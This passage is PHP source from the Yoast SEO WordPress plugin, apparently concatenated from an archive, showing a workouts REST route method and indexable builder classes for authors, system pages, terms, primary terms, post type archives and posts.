	 * Sets the workout configuration.
	 *
	 * @param WP_REST_Request $request The request object.
	 *
	 * @return WP_REST_Response the configuration of the workouts.
	 */
	public function set_workouts( $request ) {
		$workouts_data = $request->get_json_params();

		/**
		 * Filter: 'Yoast\WP\SEO\workouts_route_save' - Allows the add-ons to save the options data in their own options.
		 *
		 * @param mixed|null $result The result of the previous saving operation.
		 *
		 * @param array $workouts_data The full set of workouts option data to save.
		 */
		$result = \apply_filters( 'Yoast\WP\SEO\workouts_route_save', null, $workouts_data );

		return new WP_REST_Response(
			[ 'json' => $result ]
		);
	}

	/**
	 * Gets the args for all the registered workouts.
	 *
	 * @return array
	 */
	private function get_workouts_routes_args() {
		$args_array = [];

		/**
		 * Filter: 'Yoast\WP\SEO\workouts_route_args' - Allows the add-ons add their own arguments to the route registration.
		 *
		 * @param array $args_array The array of arguments for the route registration.
		 */
		return \apply_filters( 'Yoast\WP\SEO\workouts_route_args', $args_array );
	}
}
builders/indexable-author-builder.php000066600000017117152204306260013760 0ustar00<?php

namespace Yoast\WP\SEO\Builders;

use Yoast\WP\SEO\Exceptions\Indexable\Author_Not_Built_Exception;
use Yoast\WP\SEO\Helpers\Author_Archive_Helper;
use Yoast\WP\SEO\Helpers\Options_Helper;
use Yoast\WP\SEO\Helpers\Post_Helper;
use Yoast\WP\SEO\Models\Indexable;
use Yoast\WP\SEO\Values\Indexables\Indexable_Builder_Versions;

/**
 * Author Builder for the indexables.
 *
 * Formats the author meta to indexable format.
 */
class Indexable_Author_Builder {

	use Indexable_Social_Image_Trait;

	/**
	 * The author archive helper.
	 *
	 * @var Author_Archive_Helper
	 */
	private $author_archive;

	/**
	 * The latest version of the Indexable_Author_Builder.
	 *
	 * @var int
	 */
	protected $version;

	/**
	 * Holds the options helper instance.
	 *
	 * @var Options_Helper
	 */
	protected $options_helper;

	/**
	 * Holds the taxonomy helper instance.
	 *
	 * @var Post_Helper
	 */
	protected $post_helper;

	/**
	 * Indexable_Author_Builder constructor.
	 *
	 * @param Author_Archive_Helper      $author_archive The author archive helper.
	 * @param Indexable_Builder_Versions $versions       The Indexable version manager.
	 * @param Options_Helper             $options_helper The options helper.
	 * @param Post_Helper                $post_helper    The post helper.
	 */
	public function __construct(
		Author_Archive_Helper $author_archive,
		Indexable_Builder_Versions $versions,
		Options_Helper $options_helper,
		Post_Helper $post_helper
	) {
		$this->author_archive = $author_archive;
		$this->version        = $versions->get_latest_version_for_type( 'user' );
		$this->options_helper = $options_helper;
		$this->post_helper    = $post_helper;
	}

	/**
	 * Formats the data.
	 *
	 * @param int       $user_id   The user to retrieve the indexable for.
	 * @param Indexable $indexable The indexable to format.
	 *
	 * @return Indexable The extended indexable.
	 *
	 * @throws Author_Not_Built_Exception When author is not built.
	 */
	public function build( $user_id, Indexable $indexable ) {
		$exception = $this->check_if_user_should_be_indexed( $user_id );
		if ( $exception ) {
			throw $exception;
		}

		$meta_data = $this->get_meta_data( $user_id );

		$indexable->object_id              = $user_id;
		$indexable->object_type            = 'user';
		$indexable->permalink              = \get_author_posts_url( $user_id );
		$indexable->title                  = $meta_data['wpseo_title'];
		$indexable->description            = $meta_data['wpseo_metadesc'];
		$indexable->is_cornerstone         = false;
		$indexable->is_robots_noindex      = ( $meta_data['wpseo_noindex_author'] === 'on' );
		$indexable->is_robots_nofollow     = null;
		$indexable->is_robots_noarchive    = null;
		$indexable->is_robots_noimageindex = null;
		$indexable->is_robots_nosnippet    = null;
		$indexable->is_public              = ( $indexable->is_robots_noindex ) ? false : null;
		$indexable->has_public_posts       = $this->author_archive->author_has_public_posts( $user_id );
		$indexable->blog_id                = \get_current_blog_id();

		$this->reset_social_images( $indexable );
		$this->handle_social_images( $indexable );

		$timestamps                      = $this->get_object_timestamps( $user_id );
		$indexable->object_published_at  = $timestamps->published_at;
		$indexable->object_last_modified = $timestamps->last_modified;

		$indexable->version = $this->version;

		return $indexable;
	}

	/**
	 * Retrieves the meta data for this indexable.
	 *
	 * @param int $user_id The user to retrieve the meta data for.
	 *
	 * @return array List of meta entries.
	 */
	protected function get_meta_data( $user_id ) {
		$keys = [
			'wpseo_title',
			'wpseo_metadesc',
			'wpseo_noindex_author',
		];

		$output = [];
		foreach ( $keys as $key ) {
			$output[ $key ] = $this->get_author_meta( $user_id, $key );
		}

		return $output;
	}

	/**
	 * Retrieves the author meta.
	 *
	 * @param int    $user_id The user to retrieve the indexable for.
	 * @param string $key     The meta entry to retrieve.
	 *
	 * @return string|null The value of the meta field.
	 */
	protected function get_author_meta( $user_id, $key ) {
		$value = \get_the_author_meta( $key, $user_id );
		if ( \is_string( $value ) && $value === '' ) {
			return null;
		}

		return $value;
	}

	/**
	 * Finds an alternative image for the social image.
	 *
	 * @param Indexable $indexable The indexable.
	 *
	 * @return array|bool False when not found, array with data when found.
	 */
	protected function find_alternative_image( Indexable $indexable ) {
		$gravatar_image = \get_avatar_url(
			$indexable->object_id,
			[
				'size'   => 500,
				'scheme' => 'https',
			]
		);
		if ( $gravatar_image ) {
			return [
				'image'  => $gravatar_image,
				'source' => 'gravatar-image',
			];
		}

		return false;
	}

	/**
	 * Returns the timestamps for a given author.
	 *
	 * @param int $author_id The author ID.
	 *
	 * @return object An object with last_modified and published_at timestamps.
	 */
	protected function get_object_timestamps( $author_id ) {
		global $wpdb;
		$post_statuses = $this->post_helper->get_public_post_statuses();

		$replacements   = [];
		$replacements[] = 'post_modified_gmt';
		$replacements[] = 'post_date_gmt';
		$replacements[] = $wpdb->posts;
		$replacements[] = 'post_status';
		$replacements   = \array_merge( $replacements, $post_statuses );
		$replacements[] = 'post_password';
		$replacements[] = 'post_author';
		$replacements[] = $author_id;

		//phpcs:disable WordPress.DB.PreparedSQLPlaceholders -- %i placeholder is still not recognized.
		//phpcs:disable WordPress.DB.DirectDatabaseQuery.DirectQuery -- Reason: Most performant way.
		//phpcs:disable WordPress.DB.DirectDatabaseQuery.NoCaching -- Reason: No relevant caches.
		return $wpdb->get_row(
			$wpdb->prepare(
				'
				SELECT MAX(p.%i) AS last_modified, MIN(p.%i) AS published_at
				FROM %i AS p
				WHERE p.%i IN (' . \implode( ', ', \array_fill( 0, \count( $post_statuses ), '%s' ) ) . ")
					AND p.%i = ''
					AND p.%i = %d
				",
				$replacements
			)
		);
		//phpcs:enable
	}

	/**
	 * Checks if the user should be indexed.
	 * Returns an exception with an appropriate message if not.
	 *
	 * @param string $user_id The user id.
	 *
	 * @return Author_Not_Built_Exception|null The exception if it should not be indexed, or `null` if it should.
	 */
	protected function check_if_user_should_be_indexed( $user_id ) {
		$exception = null;

		if ( $this->author_archive->are_disabled() ) {
			$exception = Author_Not_Built_Exception::author_archives_are_disabled( $user_id );
		}

		// We will check if the author has public posts the WP way, instead of the indexable way, to make sure we get proper results even if SEO optimization is not run.
		// In case the user has no public posts, we check if the user should be indexed anyway.
		if ( $this->options_helper->get( 'noindex-author-noposts-wpseo', false ) === true && $this->author_archive->author_has_public_posts_wp( $user_id ) === false ) {
			$exception = Author_Not_Built_Exception::author_archives_are_not_indexed_for_users_without_posts( $user_id );
		}

		/**
		 * Filter: Include or exclude a user from being build and saved as an indexable.
		 * Return an `Author_Not_Built_Exception` when the indexable should not be build, with an appropriate message telling why it should not be built.
		 * Return `null` if the indexable should be build.
		 *
		 * @param Author_Not_Built_Exception|null $exception An exception if the indexable is not being built, `null` if the indexable should be built.
		 * @param string                          $user_id   The ID of the user that should or should not be excluded.
		 */
		return \apply_filters( 'wpseo_should_build_and_save_user_indexable', $exception, $user_id );
	}
}
builders/indexable-system-page-builder.php000066600000004150152204306260014705 0ustar00<?php

namespace Yoast\WP\SEO\Builders;

use Yoast\WP\SEO\Helpers\Options_Helper;
use Yoast\WP\SEO\Models\Indexable;
use Yoast\WP\SEO\Values\Indexables\Indexable_Builder_Versions;

/**
 * System page builder for the indexables.
 *
 * Formats system pages ( search and error ) meta to indexable format.
 */
class Indexable_System_Page_Builder {

	/**
	 * Mapping of object type to title option keys.
	 */
	public const OPTION_MAPPING = [
		'search-result' => [
			'title'            => 'title-search-wpseo',
		],
		'404'           => [
			'title'            => 'title-404-wpseo',
			'breadcrumb_title' => 'breadcrumbs-404crumb',
		],
	];

	/**
	 * The options helper.
	 *
	 * @var Options_Helper
	 */
	protected $options;

	/**
	 * The latest version of the Indexable_System_Page_Builder.
	 *
	 * @var int
	 */
	protected $version;

	/**
	 * Indexable_System_Page_Builder constructor.
	 *
	 * @param Options_Helper             $options  The options helper.
	 * @param Indexable_Builder_Versions $versions The latest version of each Indexable Builder.
	 */
	public function __construct( Options_Helper $options, Indexable_Builder_Versions $versions ) {
		$this->options = $options;
		$this->version = $versions->get_latest_version_for_type( 'system-page' );
	}

	/**
	 * Formats the data.
	 *
	 * @param string    $object_sub_type The object sub type of the system page.
	 * @param Indexable $indexable       The indexable to format.
	 *
	 * @return Indexable The extended indexable.
	 */
	public function build( $object_sub_type, Indexable $indexable ) {
		$indexable->object_type       = 'system-page';
		$indexable->object_sub_type   = $object_sub_type;
		$indexable->title             = $this->options->get( static::OPTION_MAPPING[ $object_sub_type ]['title'] );
		$indexable->is_robots_noindex = true;
		$indexable->blog_id           = \get_current_blog_id();

		if ( \array_key_exists( 'breadcrumb_title', static::OPTION_MAPPING[ $object_sub_type ] ) ) {
			$indexable->breadcrumb_title = $this->options->get( static::OPTION_MAPPING[ $object_sub_type ]['breadcrumb_title'] );
		}

		$indexable->version = $this->version;

		return $indexable;
	}
}
builders/indexable-term-builder.php000066600000021030152204306260013412 0ustar00<?php

namespace Yoast\WP\SEO\Builders;

use Yoast\WP\SEO\Exceptions\Indexable\Invalid_Term_Exception;
use Yoast\WP\SEO\Exceptions\Indexable\Term_Not_Built_Exception;
use Yoast\WP\SEO\Exceptions\Indexable\Term_Not_Found_Exception;
use Yoast\WP\SEO\Helpers\Post_Helper;
use Yoast\WP\SEO\Helpers\Taxonomy_Helper;
use Yoast\WP\SEO\Models\Indexable;
use Yoast\WP\SEO\Values\Indexables\Indexable_Builder_Versions;

/**
 * Term Builder for the indexables.
 *
 * Formats the term meta to indexable format.
 */
class Indexable_Term_Builder {

	use Indexable_Social_Image_Trait;

	/**
	 * Holds the taxonomy helper instance.
	 *
	 * @var Taxonomy_Helper
	 */
	protected $taxonomy_helper;

	/**
	 * The latest version of the Indexable_Term_Builder.
	 *
	 * @var int
	 */
	protected $version;

	/**
	 * Holds the taxonomy helper instance.
	 *
	 * @var Post_Helper
	 */
	protected $post_helper;

	/**
	 * Indexable_Term_Builder constructor.
	 *
	 * @param Taxonomy_Helper            $taxonomy_helper The taxonomy helper.
	 * @param Indexable_Builder_Versions $versions        The latest version of each Indexable Builder.
	 * @param Post_Helper                $post_helper     The post helper.
	 */
	public function __construct(
		Taxonomy_Helper $taxonomy_helper,
		Indexable_Builder_Versions $versions,
		Post_Helper $post_helper
	) {
		$this->taxonomy_helper = $taxonomy_helper;
		$this->version         = $versions->get_latest_version_for_type( 'term' );
		$this->post_helper     = $post_helper;
	}

	/**
	 * Formats the data.
	 *
	 * @param int       $term_id   ID of the term to save data for.
	 * @param Indexable $indexable The indexable to format.
	 *
	 * @return bool|Indexable The extended indexable. False when unable to build.
	 *
	 * @throws Invalid_Term_Exception   When the term is invalid.
	 * @throws Term_Not_Built_Exception When the term is not viewable.
	 * @throws Term_Not_Found_Exception When the term is not found.
	 */
	public function build( $term_id, $indexable ) {
		$term = \get_term( $term_id );

		if ( $term === null ) {
			throw new Term_Not_Found_Exception();
		}

		if ( \is_wp_error( $term ) ) {
			throw new Invalid_Term_Exception( $term->get_error_message() );
		}

		$indexable_taxonomies = $this->taxonomy_helper->get_indexable_taxonomies();
		if ( ! \in_array( $term->taxonomy, $indexable_taxonomies, true ) ) {
			throw Term_Not_Built_Exception::because_not_indexable( $term_id );
		}

		$term_link = \get_term_link( $term, $term->taxonomy );

		if ( \is_wp_error( $term_link ) ) {
			throw new Invalid_Term_Exception( $term_link->get_error_message() );
		}

		$term_meta = $this->taxonomy_helper->get_term_meta( $term );

		$indexable->object_id       = $term_id;
		$indexable->object_type     = 'term';
		$indexable->object_sub_type = $term->taxonomy;
		$indexable->permalink       = $term_link;
		$indexable->blog_id         = \get_current_blog_id();

		$indexable->primary_focus_keyword_score = $this->get_keyword_score(
			$this->get_meta_value( 'wpseo_focuskw', $term_meta ),
			$this->get_meta_value( 'wpseo_linkdex', $term_meta )
		);

		$indexable->is_robots_noindex = $this->get_noindex_value( $this->get_meta_value( 'wpseo_noindex', $term_meta ) );
		$indexable->is_public         = ( $indexable->is_robots_noindex === null ) ? null : ! $indexable->is_robots_noindex;

		$this->reset_social_images( $indexable );

		foreach ( $this->get_indexable_lookup() as $meta_key => $indexable_key ) {
			$indexable->{$indexable_key} = $this->get_meta_value( $meta_key, $term_meta );
		}

		if ( empty( $indexable->breadcrumb_title ) ) {
			$indexable->breadcrumb_title = $term->name;
		}

		$this->handle_social_images( $indexable );

		$indexable->is_cornerstone = $this->get_meta_value( 'wpseo_is_cornerstone', $term_meta );

		// Not implemented yet.
		$indexable->is_robots_nofollow     = null;
		$indexable->is_robots_noarchive    = null;
		$indexable->is_robots_noimageindex = null;
		$indexable->is_robots_nosnippet    = null;

		$timestamps                      = $this->get_object_timestamps( $term_id, $term->taxonomy );
		$indexable->object_published_at  = $timestamps->published_at;
		$indexable->object_last_modified = $timestamps->last_modified;

		$indexable->version = $this->version;

		return $indexable;
	}

	/**
	 * Converts the meta noindex value to the indexable value.
	 *
	 * @param string $meta_value Term meta to base the value on.
	 *
	 * @return bool|null
	 */
	protected function get_noindex_value( $meta_value ) {
		if ( $meta_value === 'noindex' ) {
			return true;
		}

		if ( $meta_value === 'index' ) {
			return false;
		}

		return null;
	}

	/**
	 * Determines the focus keyword score.
	 *
	 * @param string $keyword The focus keyword that is set.
	 * @param int    $score   The score saved on the meta data.
	 *
	 * @return int|null Score to use.
	 */
	protected function get_keyword_score( $keyword, $score ) {
		if ( empty( $keyword ) ) {
			return null;
		}

		return $score;
	}

	/**
	 * Retrieves the lookup table.
	 *
	 * @return array Lookup table for the indexable fields.
	 */
	protected function get_indexable_lookup() {
		return [
			'wpseo_canonical'                => 'canonical',
			'wpseo_focuskw'                  => 'primary_focus_keyword',
			'wpseo_title'                    => 'title',
			'wpseo_desc'                     => 'description',
			'wpseo_content_score'            => 'readability_score',
			'wpseo_inclusive_language_score' => 'inclusive_language_score',
			'wpseo_bctitle'                  => 'breadcrumb_title',
			'wpseo_opengraph-title'          => 'open_graph_title',
			'wpseo_opengraph-description'    => 'open_graph_description',
			'wpseo_opengraph-image'          => 'open_graph_image',
			'wpseo_opengraph-image-id'       => 'open_graph_image_id',
			'wpseo_twitter-title'            => 'twitter_title',
			'wpseo_twitter-description'      => 'twitter_description',
			'wpseo_twitter-image'            => 'twitter_image',
			'wpseo_twitter-image-id'         => 'twitter_image_id',
		];
	}

	/**
	 * Retrieves a meta value from the given meta data.
	 *
	 * @param string $meta_key  The key to extract.
	 * @param array  $term_meta The meta data.
	 *
	 * @return string|null The meta value.
	 */
	protected function get_meta_value( $meta_key, $term_meta ) {
		if ( ! $term_meta || ! \array_key_exists( $meta_key, $term_meta ) ) {
			return null;
		}

		$value = $term_meta[ $meta_key ];
		if ( \is_string( $value ) && $value === '' ) {
			return null;
		}

		return $value;
	}

	/**
	 * Finds an alternative image for the social image.
	 *
	 * @param Indexable $indexable The indexable.
	 *
	 * @return array|bool False when not found, array with data when found.
	 */
	protected function find_alternative_image( Indexable $indexable ) {
		$content_image = $this->image->get_term_content_image( $indexable->object_id );
		if ( $content_image ) {
			return [
				'image'  => $content_image,
				'source' => 'first-content-image',
			];
		}

		return false;
	}

	/**
	 * Returns the timestamps for a given term.
	 *
	 * @param int    $term_id  The term ID.
	 * @param string $taxonomy The taxonomy.
	 *
	 * @return object An object with last_modified and published_at timestamps.
	 */
	protected function get_object_timestamps( $term_id, $taxonomy ) {
		global $wpdb;
		$post_statuses = $this->post_helper->get_public_post_statuses();

		$replacements   = [];
		$replacements[] = 'post_modified_gmt';
		$replacements[] = 'post_date_gmt';
		$replacements[] = $wpdb->posts;
		$replacements[] = $wpdb->term_relationships;
		$replacements[] = 'object_id';
		$replacements[] = 'ID';
		$replacements[] = $wpdb->term_taxonomy;
		$replacements[] = 'term_taxonomy_id';
		$replacements[] = 'term_taxonomy_id';
		$replacements[] = 'taxonomy';
		$replacements[] = $taxonomy;
		$replacements[] = 'term_id';
		$replacements[] = $term_id;
		$replacements[] = 'post_status';
		$replacements   = \array_merge( $replacements, $post_statuses );
		$replacements[] = 'post_password';

		//phpcs:disable WordPress.DB.PreparedSQLPlaceholders -- %i placeholder is still not recognized.
		//phpcs:disable WordPress.DB.DirectDatabaseQuery.DirectQuery -- Reason: Most performant way.
		//phpcs:disable WordPress.DB.DirectDatabaseQuery.NoCaching -- Reason: No relevant caches.
		return $wpdb->get_row(
			$wpdb->prepare(
				'
			SELECT MAX(p.%i) AS last_modified, MIN(p.%i) AS published_at
			FROM %i AS p
			INNER JOIN %i AS term_rel
				ON		term_rel.%i = p.%i
			INNER JOIN %i AS term_tax
				ON		term_tax.%i = term_rel.%i
				AND		term_tax.%i = %s
				AND		term_tax.%i = %d
			WHERE	p.%i IN (' . \implode( ', ', \array_fill( 0, \count( $post_statuses ), '%s' ) ) . ")
				AND		p.%i = ''
			",
				$replacements
			)
		);
		//phpcs:enable
	}
}
builders/primary-term-builder.php000066600000005222152204306260013147 0ustar00<?php

namespace Yoast\WP\SEO\Builders;

use Yoast\WP\SEO\Helpers\Indexable_Helper;
use Yoast\WP\SEO\Helpers\Meta_Helper;
use Yoast\WP\SEO\Helpers\Primary_Term_Helper;
use Yoast\WP\SEO\Repositories\Primary_Term_Repository;

/**
 * Primary term builder.
 *
 * Creates the primary term for a post.
 */
class Primary_Term_Builder {

	/**
	 * The primary term repository.
	 *
	 * @var Primary_Term_Repository
	 */
	protected $repository;

	/**
	 * The indexable helper.
	 *
	 * @var Indexable_Helper
	 */
	private $indexable_helper;

	/**
	 * The primary term helper.
	 *
	 * @var Primary_Term_Helper
	 */
	private $primary_term;

	/**
	 * The meta helper.
	 *
	 * @var Meta_Helper
	 */
	private $meta;

	/**
	 * Primary_Term_Builder constructor.
	 *
	 * @param Primary_Term_Repository $repository       The primary term repository.
	 * @param Indexable_Helper        $indexable_helper The indexable helper.
	 * @param Primary_Term_Helper     $primary_term     The primary term helper.
	 * @param Meta_Helper             $meta             The meta helper.
	 */
	public function __construct(
		Primary_Term_Repository $repository,
		Indexable_Helper $indexable_helper,
		Primary_Term_Helper $primary_term,
		Meta_Helper $meta
	) {
		$this->repository       = $repository;
		$this->indexable_helper = $indexable_helper;
		$this->primary_term     = $primary_term;
		$this->meta             = $meta;
	}

	/**
	 * Formats and saves the primary terms for the post with the given post id.
	 *
	 * @param int $post_id The post ID.
	 *
	 * @return void
	 */
	public function build( $post_id ) {
		foreach ( $this->primary_term->get_primary_term_taxonomies( $post_id ) as $taxonomy ) {
			$this->save_primary_term( $post_id, $taxonomy->name );
		}
	}

	/**
	 * Save the primary term for a specific taxonomy.
	 *
	 * @param int    $post_id  Post ID to save primary term for.
	 * @param string $taxonomy Taxonomy to save primary term for.
	 *
	 * @return void
	 */
	protected function save_primary_term( $post_id, $taxonomy ) {
		$term_id = $this->meta->get_value( 'primary_' . $taxonomy, $post_id );

		$term_selected          = ! empty( $term_id );
		$primary_term_indexable = $this->repository->find_by_post_id_and_taxonomy( $post_id, $taxonomy, $term_selected );

		// Removes the indexable when no term found.
		if ( ! $term_selected ) {
			if ( $primary_term_indexable ) {
				$primary_term_indexable->delete();
			}

			return;
		}

		$primary_term_indexable->term_id  = $term_id;
		$primary_term_indexable->post_id  = $post_id;
		$primary_term_indexable->taxonomy = $taxonomy;
		$primary_term_indexable->blog_id  = \get_current_blog_id();
		$this->indexable_helper->save_indexable( $primary_term_indexable );
	}
}
builders/indexable-post-type-archive-builder.php000066600000012324152204306260016034 0ustar00<?php

namespace Yoast\WP\SEO\Builders;

use Yoast\WP\SEO\Exceptions\Indexable\Post_Type_Not_Built_Exception;
use Yoast\WP\SEO\Helpers\Options_Helper;
use Yoast\WP\SEO\Helpers\Post_Helper;
use Yoast\WP\SEO\Helpers\Post_Type_Helper;
use Yoast\WP\SEO\Models\Indexable;
use Yoast\WP\SEO\Values\Indexables\Indexable_Builder_Versions;

/**
 * Post type archive builder for the indexables.
 *
 * Formats the post type archive meta to indexable format.
 */
class Indexable_Post_Type_Archive_Builder {

	/**
	 * The options helper.
	 *
	 * @var Options_Helper
	 */
	protected $options;

	/**
	 * The latest version of the Indexable_Post_Type_Archive_Builder.
	 *
	 * @var int
	 */
	protected $version;

	/**
	 * Holds the post helper instance.
	 *
	 * @var Post_Helper
	 */
	protected $post_helper;

	/**
	 * Holds the post type helper instance.
	 *
	 * @var Post_Type_Helper
	 */
	protected $post_type_helper;

	/**
	 * Indexable_Post_Type_Archive_Builder constructor.
	 *
	 * @param Options_Helper             $options          The options helper.
	 * @param Indexable_Builder_Versions $versions         The latest version of each Indexable builder.
	 * @param Post_Helper                $post_helper      The post helper.
	 * @param Post_Type_Helper           $post_type_helper The post type helper.
	 */
	public function __construct(
		Options_Helper $options,
		Indexable_Builder_Versions $versions,
		Post_Helper $post_helper,
		Post_Type_Helper $post_type_helper
	) {
		$this->options          = $options;
		$this->version          = $versions->get_latest_version_for_type( 'post-type-archive' );
		$this->post_helper      = $post_helper;
		$this->post_type_helper = $post_type_helper;
	}

	/**
	 * Formats the data.
	 *
	 * @param string    $post_type The post type to build the indexable for.
	 * @param Indexable $indexable The indexable to format.
	 *
	 * @return Indexable The extended indexable.
	 * @throws Post_Type_Not_Built_Exception Throws exception if the post type is excluded.
	 */
	public function build( $post_type, Indexable $indexable ) {
		if ( ! $this->post_type_helper->is_post_type_archive_indexable( $post_type ) ) {
			throw Post_Type_Not_Built_Exception::because_not_indexable( $post_type );
		}

		$indexable->object_type       = 'post-type-archive';
		$indexable->object_sub_type   = $post_type;
		$indexable->title             = $this->options->get( 'title-ptarchive-' . $post_type );
		$indexable->description       = $this->options->get( 'metadesc-ptarchive-' . $post_type );
		$indexable->breadcrumb_title  = $this->get_breadcrumb_title( $post_type );
		$indexable->permalink         = \get_post_type_archive_link( $post_type );
		$indexable->is_robots_noindex = $this->options->get( 'noindex-ptarchive-' . $post_type );
		$indexable->is_public         = ( (int) $indexable->is_robots_noindex !== 1 );
		$indexable->blog_id           = \get_current_blog_id();
		$indexable->version           = $this->version;

		$timestamps                      = $this->get_object_timestamps( $post_type );
		$indexable->object_published_at  = $timestamps->published_at;
		$indexable->object_last_modified = $timestamps->last_modified;

		return $indexable;
	}

	/**
	 * Returns the fallback breadcrumb title for a given post.
	 *
	 * @param string $post_type The post type to get the fallback breadcrumb title for.
	 *
	 * @return string
	 */
	private function get_breadcrumb_title( $post_type ) {
		$options_breadcrumb_title = $this->options->get( 'bctitle-ptarchive-' . $post_type );

		if ( $options_breadcrumb_title !== '' ) {
			return $options_breadcrumb_title;
		}

		$post_type_obj = \get_post_type_object( $post_type );

		if ( ! \is_object( $post_type_obj ) ) {
			return '';
		}

		if ( isset( $post_type_obj->label ) && $post_type_obj->label !== '' ) {
			return $post_type_obj->label;
		}

		if ( isset( $post_type_obj->labels->menu_name ) && $post_type_obj->labels->menu_name !== '' ) {
			return $post_type_obj->labels->menu_name;
		}

		return $post_type_obj->name;
	}

	/**
	 * Returns the timestamps for a given post type.
	 *
	 * @param string $post_type The post type.
	 *
	 * @return object An object with last_modified and published_at timestamps.
	 */
	protected function get_object_timestamps( $post_type ) {
		global $wpdb;
		$post_statuses = $this->post_helper->get_public_post_statuses();

		$replacements   = [];
		$replacements[] = 'post_modified_gmt';
		$replacements[] = 'post_date_gmt';
		$replacements[] = $wpdb->posts;
		$replacements[] = 'post_status';
		$replacements   = \array_merge( $replacements, $post_statuses );
		$replacements[] = 'post_password';
		$replacements[] = 'post_type';
		$replacements[] = $post_type;

		//phpcs:disable WordPress.DB.PreparedSQLPlaceholders -- %i placeholder is still not recognized.
		//phpcs:disable WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching -- We need to use a direct query here.
		//phpcs:disable WordPress.DB.DirectDatabaseQuery.NoCaching -- Reason: No relevant caches.
		return $wpdb->get_row(
			$wpdb->prepare(
				'
				SELECT MAX(p.%i) AS last_modified, MIN(p.%i) AS published_at
				FROM %i AS p
				WHERE p.%i IN (' . \implode( ', ', \array_fill( 0, \count( $post_statuses ), '%s' ) ) . ")
					AND p.%i = ''
					AND p.%i = %s
				",
				$replacements
			)
		);
		//phpcs:enable
	}
}
builders/indexable-post-builder.php000066600000030307152204306260013437 0ustar00<?php

namespace Yoast\WP\SEO\Builders;

use WP_Error;
use WP_Post;
use Yoast\WP\SEO\Exceptions\Indexable\Post_Not_Built_Exception;
use Yoast\WP\SEO\Exceptions\Indexable\Post_Not_Found_Exception;
use Yoast\WP\SEO\Helpers\Meta_Helper;
use Yoast\WP\SEO\Helpers\Post_Helper;
use Yoast\WP\SEO\Helpers\Post_Type_Helper;
use Yoast\WP\SEO\Models\Indexable;
use Yoast\WP\SEO\Repositories\Indexable_Repository;
use Yoast\WP\SEO\Values\Indexables\Indexable_Builder_Versions;

/**
 * Post Builder for the indexables.
 *
 * Formats the post meta to indexable format.
 */
class Indexable_Post_Builder {

	use Indexable_Social_Image_Trait;

	/**
	 * The indexable repository.
	 *
	 * @var Indexable_Repository
	 */
	protected $indexable_repository;

	/**
	 * Holds the Post_Helper instance.
	 *
	 * @var Post_Helper
	 */
	protected $post_helper;

	/**
	 * The post type helper.
	 *
	 * @var Post_Type_Helper
	 */
	protected $post_type_helper;

	/**
	 * Knows the latest version of the Indexable post builder type.
	 *
	 * @var int
	 */
	protected $version;

	/**
	 * The meta helper.
	 *
	 * @var Meta_Helper
	 */
	protected $meta;

	/**
	 * Indexable_Post_Builder constructor.
	 *
	 * @param Post_Helper                $post_helper      The post helper.
	 * @param Post_Type_Helper           $post_type_helper The post type helper.
	 * @param Indexable_Builder_Versions $versions         The indexable builder versions.
	 * @param Meta_Helper                $meta             The meta helper.
	 */
	public function __construct(
		Post_Helper $post_helper,
		Post_Type_Helper $post_type_helper,
		Indexable_Builder_Versions $versions,
		Meta_Helper $meta
	) {
		$this->post_helper      = $post_helper;
		$this->post_type_helper = $post_type_helper;
		$this->version          = $versions->get_latest_version_for_type( 'post' );
		$this->meta             = $meta;
	}

	/**
	 * Sets the indexable repository. Done to avoid circular dependencies.
	 *
	 * @required
	 *
	 * @param Indexable_Repository $indexable_repository The indexable repository.
	 *
	 * @return void
	 */
	public function set_indexable_repository( Indexable_Repository $indexable_repository ) {
		$this->indexable_repository = $indexable_repository;
	}

	/**
	 * Formats the data.
	 *
	 * @param int       $post_id   The post ID to use.
	 * @param Indexable $indexable The indexable to format.
	 *
	 * @return bool|Indexable The extended indexable. False when unable to build.
	 *
	 * @throws Post_Not_Found_Exception When the post could not be found.
	 * @throws Post_Not_Built_Exception When the post should not be indexed.
	 */
	public function build( $post_id, $indexable ) {
		if ( ! $this->post_helper->is_post_indexable( $post_id ) ) {
			throw Post_Not_Built_Exception::because_not_indexable( $post_id );
		}

		$post = $this->post_helper->get_post( $post_id );

		if ( $post === null ) {
			throw new Post_Not_Found_Exception();
		}

		if ( $this->should_exclude_post( $post ) ) {
			throw Post_Not_Built_Exception::because_post_type_excluded( $post_id );
		}

		$indexable->object_id       = $post_id;
		$indexable->object_type     = 'post';
		$indexable->object_sub_type = $post->post_type;
		$indexable->permalink       = $this->get_permalink( $post->post_type, $post_id );

		$indexable->primary_focus_keyword_score = $this->get_keyword_score(
			$this->meta->get_value( 'focuskw', $post_id ),
			(int) $this->meta->get_value( 'linkdex', $post_id )
		);

		$indexable->readability_score = (int) $this->meta->get_value( 'content_score', $post_id );

		$indexable->inclusive_language_score = (int) $this->meta->get_value( 'inclusive_language_score', $post_id );

		$indexable->is_cornerstone    = ( $this->meta->get_value( 'is_cornerstone', $post_id ) === '1' );
		$indexable->is_robots_noindex = $this->get_robots_noindex(
			(int) $this->meta->get_value( 'meta-robots-noindex', $post_id )
		);

		// Set additional meta-robots values.
		$indexable->is_robots_nofollow = ( $this->meta->get_value( 'meta-robots-nofollow', $post_id ) === '1' );
		$noindex_advanced              = $this->meta->get_value( 'meta-robots-adv', $post_id );
		$meta_robots                   = \explode( ',', $noindex_advanced );

		foreach ( $this->get_robots_options() as $meta_robots_option ) {
			$indexable->{'is_robots_' . $meta_robots_option} = \in_array( $meta_robots_option, $meta_robots, true ) ? 1 : null;
		}

		$this->reset_social_images( $indexable );

		foreach ( $this->get_indexable_lookup() as $meta_key => $indexable_key ) {
			$indexable->{$indexable_key} = $this->empty_string_to_null( $this->meta->get_value( $meta_key, $post_id ) );
		}

		if ( empty( $indexable->breadcrumb_title ) ) {
			$indexable->breadcrumb_title = \wp_strip_all_tags( \get_the_title( $post_id ), true );
		}

		$this->handle_social_images( $indexable );

		$indexable->author_id   = $post->post_author;
		$indexable->post_parent = $post->post_parent;

		$indexable->number_of_pages  = $this->get_number_of_pages_for_post( $post );
		$indexable->post_status      = $post->post_status;
		$indexable->is_protected     = $post->post_password !== '';
		$indexable->is_public        = $this->is_public( $indexable );
		$indexable->has_public_posts = $this->has_public_posts( $indexable );
		$indexable->blog_id          = \get_current_blog_id();

		$indexable->schema_page_type    = $this->empty_string_to_null( $this->meta->get_value( 'schema_page_type', $post_id ) );
		$indexable->schema_article_type = $this->empty_string_to_null( $this->meta->get_value( 'schema_article_type', $post_id ) );

		$indexable->object_last_modified = $post->post_modified_gmt;
		$indexable->object_published_at  = $post->post_date_gmt;

		$indexable->version = $this->version;
